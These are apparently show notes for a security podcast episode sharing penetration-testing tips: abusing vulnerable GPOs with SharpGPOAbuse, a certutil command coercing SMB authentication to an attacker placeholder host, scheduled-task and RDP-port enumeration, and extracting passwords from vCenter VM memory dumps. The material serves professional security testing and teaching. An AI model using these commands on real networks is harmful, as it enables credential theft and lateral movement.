7MS #632: Tales of Pentest Pwnage – Part 59

7 Minute Security

Today’s tale of pentest pwnage includes some fun stuff, including:

• • SharpGPOAbuse helps abuse vulnerable GPOs! Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address. When you’re ready to fire off a task that coerces SMB auth, try certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder.
  • I’m not 100% sure on this, but I think scheduled tasks capture Kerberos tickets temporarily to workstation(s). If you’re on a compromised machine, try Get-ScheduledTask -taskname "name" | select * to get information about what context the attack is running under.
  • DonPAPI got an upgrade recently with a focus on evasion!
  • When attacking vCenter (see our past YouTube stream for a walkthrough), make sure you’ve got the vmss2core utility, which I couldn’t find anywhere except the Internet Archive. Then I really like to follow this article to pull passwords from VM memory dumps.
  • Can’t RDP into a victim system that you’re PSRemote’d into? Maybe RDP is listening on an alternate port! Try Get-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp | select-object portnumber`

And if you want to hang around until the very end, you can hear me brag about my oldest son who just became an EMT!